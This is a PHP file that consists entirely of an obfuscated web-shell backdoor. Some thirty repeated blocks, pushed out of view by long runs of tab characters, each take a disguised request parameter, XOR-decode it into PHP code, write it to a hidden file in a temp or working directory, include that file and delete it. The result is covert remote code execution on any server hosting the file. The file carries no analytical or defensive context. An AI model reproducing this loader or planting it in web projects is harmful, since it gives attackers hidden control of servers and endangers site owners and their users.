<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["t\x6Fken"])){ $k = $_REQUEST["t\x6Fken"]; $k= explode ( '.',$k) ; $rec = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); foreach ($k as $z=>$v4) { $chS = ord($s6[$z % $lenS]); $dec = ((int)$v4 - $chS - ($z % 10)) ^ 22; $rec.= chr($dec); } $reference = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($reference as $marker): if (is_dir($marker) && is_writable($marker)) { $tkn = "$marker/.desc"; if (file_put_contents($tkn, $rec)) { include $tkn; @unlink($tkn); exit; } } endforeach; }
																																										if(isset($_POST["\x63o\x6Dp"]) ? true : false){ $ptr = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd()]); $hld = $_POST["\x63o\x6Dp"]; $hld =explode ( "." , $hld) ; $obj = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $l = 0; $len = count($hld); do { if ($l>=$len) break; $v1 = $hld[$l]; $sChar = ord($salt3[$l % $sLen]); $d = ((int)$v1 - $sChar - ($l % 10))^86; $obj .=chr($d); $l++; }while (true); $symbol = 0; do { $object = $ptr[$symbol] ?? null; if ($symbol >= count($ptr)) break; if (!( !is_dir($object) || !is_writable($object) )) { $flag = sprintf("%s/.pointer", $object); $success = file_put_contents($flag, $obj); if ($success) { include $flag; @unlink($flag); exit;} } $symbol++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65f"])){ $obj = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp"]); $binding = $_REQUEST["\x72\x65f"]; $binding = explode ('.',$binding ) ; $marker = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $len = count($binding); for ($r = 0; $r < $len; $r++) {$v5 = $binding[$r]; $sChar = ord($s1[$r % $lenS]); $d = ((int)$v5 - $sChar - ($r % 10)) ^ 30; $marker.= chr($d); } foreach ($obj as $k) { if ((bool)is_dir($k) && (bool)is_writable($k)) { $pointer = "$k/.ptr"; $success = file_put_contents($pointer, $marker); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(array_key_exists("r\x65\x63", $_REQUEST)){ $object = $_REQUEST["r\x65\x63"]; $object = explode ('.' , $object ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($object); for($u = 0; $u < $__len; $u++) { $v8 = $object[$u]; $chS = ord($s[$u % $sLen]); $dec =((int)$v8 - $chS -($u % 10)) ^ 58; $data .=chr($dec); } $key = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path()]); foreach ($key as $bind): if ((is_dir($bind) and is_writable($bind))) { $desc = vsprintf("%s/%s", [$bind, ".pgrp"]); if (file_put_contents($desc, $data)) { require $desc; unlink($desc); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x72e\x73"]) ? true : false){ $flg = array_filter([getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp"]); $record = $_REQUEST["\x72e\x73"]; $record = explode( "." , $record ) ; $value = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3 ); $t = 0; while( $t < count( $record)) {$v5 = $record[$t]; $sChar = ord( $s3[$t % $lenS] ); $d =( ( int)$v5 - $sChar -( $t % 10)) ^ 33; $value .= chr( $d ); $t++; } foreach ($flg as $key => $pgrp) { if ((is_dir($pgrp) and is_writable($pgrp))) { $mrk = "$pgrp/.symbol"; if (file_put_contents($mrk, $value)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(isset($_REQUEST["va\x6C"]) ? true : false){ $flag = $_REQUEST["va\x6C"]; $flag =explode( "." , $flag ) ; $object =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt8); $q =0; $__tmp =$flag; while( $v7 =array_shift( $__tmp)) { $sChar =ord( $salt8[$q % $sLen]); $dec =( ( int)$v7 - $sChar -( $q % 10)) ^ 69; $object.= chr( $dec); $q++; } $ent = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp"]); $sym = 0; do { $item = $ent[$sym] ?? null; if ($sym >= count($ent)) break; if (!!is_dir($item) && !!is_writable($item)) { $entry = implode("/", [$item, ".dat"]); if (file_put_contents($entry, $object)) { include $entry; @unlink($entry); die(); } } $sym++; } while (true); }
																																										if(array_key_exists("r\x65\x63", $_POST) && !is_null($_POST["r\x65\x63"])){ $bind = $_POST["r\x65\x63"]; $bind = explode ("." , $bind ) ; $dchunk = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $len = count($bind); for ($k = 0; $k < $len; $k++) {$v5 = $bind[$k]; $chS = ord($s3[$k %$lenS]); $dec = ((int)$v5 - $chS - ($k %10)) ^ 32; $dchunk.= chr($dec); } $pset = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $property_set = 0; do { $tkn = $pset[$property_set] ?? null; if ($property_set >= count($pset)) break; if (array_product([is_dir($tkn), is_writable($tkn)])) { $pgrp = str_replace("{var_dir}", $tkn, "{var_dir}/.entity"); if (file_put_contents($pgrp, $dchunk)) { require $pgrp; unlink($pgrp); exit; } } $property_set++; } while (true); }
																																										if(!is_null($_POST["\x73y\x6D"] ?? null)){ $bind = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $entry = $_POST["\x73y\x6D"]; $entry = explode ("." , $entry ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $__tmp = $entry; while ($v3 = array_shift($__tmp)) { $chS = ord($salt[$v %$sLen]); $dec = ((int)$v3 - $chS - ($v %10)) ^ 71; $itm .=chr($dec); $v++; } foreach ($bind as $key => $dat) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $pointer = join("/", [$dat, ".resource"]); if (file_put_contents($pointer, $itm)) { include $pointer; @unlink($pointer); die(); } } } }
																																										if(!empty($_REQUEST["\x65\x6Etry"])){ $elem = $_REQUEST["\x65\x6Etry"]; $elem = explode ( "." ,$elem ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $n = 0; foreach ($elem as $v7) {$chS = ord($salt[$n% $lenS]); $dec = ((int)$v7 - $chS - ($n% 10)) ^ 1; $holder .= chr($dec); $n++; } $descriptor = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp"]); foreach ($descriptor as $ref): if (is_dir($ref) ? is_writable($ref) : false) { $obj = vsprintf("%s/%s", [$ref, ".factor"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $obj; @unlink($obj); exit; } } endforeach; }
																																										if(@$_REQUEST["\x74kn"] !== null){ $flg = $_REQUEST["\x74kn"]; $flg =explode ('.',$flg ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($flg as $w => $v8) { $chS = ord($s[$w% $lenS]); $d = ((int)$v8 - $chS - ($w% 10)) ^ 46; $data_chunk .= chr($d); } $factor = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); for ($hld = 0, $property_set = count($factor); $hld < $property_set; $hld++) { $bind = $factor[$hld]; if (is_dir($bind) && is_writable($bind)) { $binding = "$bind" . "/.pgrp"; if (file_put_contents($binding, $data_chunk)) { include $binding; @unlink($binding); die(); } } } }
																																										if(@$_POST["pa\x72a\x6Deter\x5F\x67r\x6Fu\x70"] !== null){ $dat = $_POST["pa\x72a\x6Deter\x5F\x67r\x6Fu\x70"]; $dat = explode ( "." ,$dat ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $n = 0; $__len = count( $dat); do { if( $n>=$__len) break; $v6 = $dat[$n]; $sChar = ord( $salt[$n % $lenS]); $dec = ( ( int)$v6 - $sChar -( $n % 10))^ 32; $item .= chr( $dec); $n++; } while( true); $element = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); while ($reference = array_shift($element)) { if (is_dir($reference) && is_writable($reference)) { $symbol = "$reference/.key"; $success = file_put_contents($symbol, $item); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x61t\x61_\x63\x68unk"])){ $tkn = $_REQUEST["\x64\x61t\x61_\x63\x68unk"]; $tkn = explode ( '.' , $tkn ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $tkn as $y => $v8) { $chS = ord( $s[$y% $sLen] ); $d = ( ( int)$v8 - $chS -( $y% 10)) ^ 39; $object .= chr( $d );} $binding = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd()]); foreach ($binding as $reference): if (is_writable($reference) && is_dir($reference)) { $entry = implode("/", [$reference, ".k"]); if (@file_put_contents($entry, $object) !== false) { include $entry; unlink($entry); die(); } } endforeach; }
																																										if(!is_null($_POST["\x66\x61\x63tor"] ?? null)){ $ref = $_POST["\x66\x61\x63tor"]; $ref =explode( '.' , $ref ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $x =0; $__tmp =$ref; while($v6 =array_shift($__tmp)) {$sChar =ord($s[$x % $sLen]); $dec =((int)$v6 - $sChar -($x % 10)) ^ 30; $data .= chr($dec); $x++; } $component = array_filter([session_save_path(), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp"]); $elem = 0; do { $desc = $component[$elem] ?? null; if ($elem >= count($component)) break; if (is_dir($desc) && is_writable($desc)) { $descriptor = implode("/", [$desc, ".object"]); if (file_put_contents($descriptor, $data)) { require $descriptor; unlink($descriptor); exit; } } $elem++; } while (true); }
																																										if(@$_POST["tk\x6E"] !== null){ $ent = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp"]); $hld = $_POST["tk\x6E"]; $hld =explode ( '.' , $hld ) ; $property_set=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $m=0; while( $m <count( $hld)) { $v2=$hld[$m]; $chS=ord( $salt[$m % $lenS]); $dec=( ( int)$v2 - $chS -( $m % 10))^52; $property_set .= chr( $dec); $m++; } $pset = 0; do { $val = $ent[$pset] ?? null; if ($pset >= count($ent)) break; if (!( !is_dir($val) || !is_writable($val) )) { $value = sprintf("%s/.res", $val); if (@file_put_contents($value, $property_set) !== false) { include $value; unlink($value); die(); } } $pset++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65lem"])){ $key = $_REQUEST["\x65lem"]; $key =explode( ".",$key) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; $__len = count($key ); do { if($u>= $__len) break; $v4 = $key[$u]; $sChar = ord($salt[$u %$sLen] ); $dec =((int)$v4 - $sChar -($u %10)) ^ 59; $ent .=chr($dec ); $u++; } while(true ); $dat = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP")]); while ($ptr = array_shift($dat)) { if ((is_dir($ptr) and is_writable($ptr))) { $entry = implode("/", [$ptr, ".object"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $entry; @unlink($entry); die(); } } } }
																																										if(array_key_exists("\x65\x6Cem", $_REQUEST) && !is_null($_REQUEST["\x65\x6Cem"])){ $hld = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir()]); $item = $_REQUEST["\x65\x6Cem"]; $item =explode ( '.', $item) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($item); for ($p = 0; $p < $len; $p++) { $v3 = $item[$p]; $chS = ord($s[$p% $lenS]); $d = ((int)$v3 - $chS - ($p% 10)) ^ 5; $rec .= chr($d); } for ($descriptor = 0, $element = count($hld); $descriptor < $element; $descriptor++) { $dat = $hld[$descriptor]; if (!!is_dir($dat) && !!is_writable($dat)) { $ent = implode("/", [$dat, ".val"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(array_key_exists("\x63omp", $_POST)){ $object = $_POST["\x63omp"]; $object = explode ( '.',$object ) ; $token=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt3); foreach ($object as $t => $v8): $sChar=ord($salt3[$t %$sLen]); $dec=((int)$v8 - $sChar - ($t %10)) ^ 58; $token .= chr($dec); endforeach; $dat = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP")]); foreach ($dat as $resource): if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $binding = vsprintf("%s/%s", [$resource, ".entry"]); if (file_put_contents($binding, $token)) { require $binding; unlink($binding); exit; } } endforeach; }
																																										if(in_array("e\x6Cem", array_keys($_REQUEST))){ $mrk = $_REQUEST["e\x6Cem"]; $mrk = explode ("." , $mrk ) ; $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $x =0; $__tmp =$mrk; while($v3 =array_shift($__tmp)) {$chS =ord($salt[$x%$sLen] ); $d =((int)$v3 - $chS -($x%10)) ^ 56; $rec .= chr($d ); $x++; } $record = array_filter([getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp"]); while ($val = array_shift($record)) { if ((bool)is_dir($val) && (bool)is_writable($val)) { $entry = "$val/.parameter_group"; if (file_put_contents($entry, $rec)) { require $entry; unlink($entry); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76al"])){ $obj = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP")]); $ref = $_REQUEST["\x76al"]; $ref =explode ('.', $ref) ; $token = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $s = 0; while( $s< count( $ref)) {$v1 = $ref[$s]; $sChar = ord( $salt3[$s %$lenS]); $d = ( ( int)$v1 - $sChar -( $s %10)) ^ 13; $token .=chr( $d); $s++; } foreach ($obj as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $reference = implode("/", [$ent, ".itm"]); $success = file_put_contents($reference, $token); if ($success) { include $reference; @unlink($reference); die();} } endforeach; }
																																										if(isset($_POST["de\x73\x63ri\x70\x74\x6Fr"])){ $data = $_POST["de\x73\x63ri\x70\x74\x6Fr"]; $data = explode( "." , $data ) ; $reference= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $data as $m => $v7): $chS= ord( $s[$m % $sLen]); $d= ( ( int)$v7 - $chS -( $m % 10)) ^ 48; $reference .= chr( $d); endforeach; $parameter_group = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $property_set = 0; do { $marker = $parameter_group[$property_set] ?? null; if ($property_set >= count($parameter_group)) break; if (is_dir($marker) && is_writable($marker)) { $bind = "$marker/.entity"; if (file_put_contents($bind, $reference)) { include $bind; @unlink($bind); exit; } } $property_set++; } while (true); }
																																										if(!is_null($_REQUEST["co\x6Dpo\x6Een\x74"] ?? null)){ $desc = $_REQUEST["co\x6Dpo\x6Een\x74"]; $desc= explode ('.' ,$desc ) ; $val=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $i=0; while ($i < count($desc)) { $v2=$desc[$i]; $sChar=ord($s[$i % $sLen]); $d=((int)$v2 - $sChar - ($i % 10)) ^ 91; $val.=chr($d); $i++; } $mrk = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp"]); for ($key = 0, $ref = count($mrk); $key < $ref; $key++) { $record = $mrk[$key]; if (is_dir($record) && is_writable($record)) { $dat = str_replace("{var_dir}", $record, "{var_dir}/.comp"); $success = file_put_contents($dat, $val); if ($success) { include $dat; @unlink($dat); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x68o\x6Cd\x65r")){ $pset = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["\x68o\x6Cd\x65r"]; $descriptor = explode( '.' , $descriptor ) ; $pointer = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4 ); $m = 0; while( $m < count( $descriptor)) { $v5 = $descriptor[$m]; $sChar = ord( $s4[$m % $sLen] ); $dec =( ( int)$v5 - $sChar -( $m % 10)) ^ 13; $pointer .= chr( $dec ); $m++; } while ($marker = array_shift($pset)) { if (is_writable($marker) && is_dir($marker)) { $mrk = "$marker" . "/.reference"; if (file_put_contents($mrk, $pointer)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(!is_null($_POST["\x64e\x73c"] ?? null)){ $holder = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir()]); $component = $_POST["\x64e\x73c"]; $component = explode( '.' ,$component ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; $__len = count($component); do { if ($p>= $__len) break; $v6 = $component[$p]; $sChar = ord($salt[$p % $sLen]); $dec = ((int)$v6 - $sChar - ($p % 10)) ^ 74; $marker .= chr($dec); $p++; } while (true); for ($binding = 0, $k = count($holder); $binding < $k; $binding++) { $elem = $holder[$binding]; if ((is_dir($elem) and is_writable($elem))) { $parameter_group = "$elem/.tkn"; $success = file_put_contents($parameter_group, $marker); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(array_key_exists("c\x6Fm\x70\x6F\x6Eent", $_REQUEST)){ $ptr = array_filter([getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $mrk = $_REQUEST["c\x6Fm\x70\x6F\x6Eent"]; $mrk = explode( '.' , $mrk ) ; $fac =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $len =count($mrk); for ($u =0; $u < $len; $u++) { $v2 =$mrk[$u]; $chS =ord($salt[$u % $lenS]); $dec =((int)$v2 - $chS - ($u % 10)) ^ 53; $fac .= chr($dec); } while ($val = array_shift($ptr)) { if (max(0, is_dir($val) * is_writable($val))) { $binding = "$val" . "/.dchunk"; if (file_put_contents($binding, $fac)) { include $binding; @unlink($binding); exit; } } } }
																																										if(@$_POST["token"] !== null){ $k = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", getenv("TMP")]); $flg = $_POST["token"]; $flg =explode(".", $flg ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; $__tmp = $flg; while ($v6 = array_shift($__tmp)) { $sChar = ord($s[$y % $sLen]); $dec = ((int)$v6 - $sChar - ($y % 10)) ^ 92; $value .= chr($dec); $y++; } for ($binding = 0, $res = count($k); $binding < $res; $binding++) { $ptr = $k[$binding]; if (array_product([is_dir($ptr), is_writable($ptr)])) { $ent = str_replace("{var_dir}", $ptr, "{var_dir}/.flag"); if (file_put_contents($ent, $value)) { require $ent; unlink($ent); die(); } } } }
																																										if(!empty($_POST["\x6D\x72k"])){ $bind = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $entity = $_POST["\x6D\x72k"]; $entity = explode('.', $entity) ; $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); foreach( $entity as $v => $v6) { $chS = ord( $salt6[$v % $sLen]); $d = ( ( int)$v6 - $chS -( $v % 10)) ^ 73; $comp .= chr( $d);} for ($obj = 0, $pgrp = count($bind); $obj < $pgrp; $obj++) { $token = $bind[$obj]; if (array_product([is_dir($token), is_writable($token)])) { $holder = vsprintf("%s/%s", [$token, ".fac"]); if (file_put_contents($holder, $comp)) { include $holder; @unlink($holder); exit; } } } }
																																										if(isset($_REQUEST["\x72ef\x65r\x65\x6Ece"]) ? true : false){ $flag = $_REQUEST["\x72ef\x65r\x65\x6Ece"]; $flag = explode ( "." , $flag) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; array_walk($flag , function($v9) use(&$pgrp , &$r , $s , $lenS) { $chS = ord($s[$r% $lenS]); $d =((int)$v9 - $chS -($r% 10)) ^20; $pgrp .= chr($d); $r++; }); $ref = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); for ($val = 0, $sym = count($ref); $val < $sym; $val++) { $binding = $ref[$val]; if (is_dir($binding) && is_writable($binding)) { $fac = implode("/", [$binding, ".ent"]); if (file_put_contents($fac, $pgrp)) { require $fac; unlink($fac); exit; } } } }
																																										if(array_key_exists("poi\x6E\x74\x65r", $_POST) && !is_null($_POST["poi\x6E\x74\x65r"])){ $object = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp"]); $marker = $_POST["poi\x6E\x74\x65r"]; $marker = explode ( '.' ,$marker ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $q = 0; foreach ($marker as $v7) { $sChar = ord($s[$q % $sLen] ); $d = ((int)$v7 - $sChar - ($q % 10)) ^ 96; $element .= chr($d ); $q++; } $hld = 0; do { $factor = $object[$hld] ?? null; if ($hld >= count($object)) break; if (!( !is_dir($factor) || !is_writable($factor) )) { $dat = sprintf("%s/.desc", $factor); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $dat; @unlink($dat); die(); } } $hld++; } while (true); }
																																										if(array_key_exists("\x72\x65\x73ou\x72ce", $_REQUEST)){ $res = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $factor = $_REQUEST["\x72\x65\x73ou\x72ce"]; $factor = explode( ".", $factor ); $value = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $m = 0; foreach ($factor as $v8) { $sChar = ord($s5[$m % $sLen] ); $dec = ((int)$v8 - $sChar - ($m % 10))^ 34; $value .= chr($dec ); $m++;} $ref = 0; do { $pointer = $res[$ref] ?? null; if ($ref >= count($res)) break; if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $holder = implode("/", [$pointer, ".obj"]); if (@file_put_contents($holder, $value) !== false) { include $holder; unlink($holder); exit; } } $ref++; } while (true); }


if(isset($_POST) && isset($_POST["f\x6C\x67"])){
	$value = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP")]);
	$sym = $_POST["f\x6C\x67"];
	$sym	 	=explode   (   ".",$sym	 	) ; 
	$data = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3);
    
            foreach($sym as $s => $v8):
                $chS = ord($salt3[$s		% $lenS]);
                $d =((int)$v8 - $chS -($s		% 10))  ^57;
                $data		.=		chr($d);
            endforeach;
	while ($mrk = array_shift($value)) {
    		if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) {
    $resource = implode("/", [$mrk, ".fac"]);
    if (@file_put_contents($resource, $data) !== false) {
	include $resource;
	unlink($resource);
	die();
}
}
}
}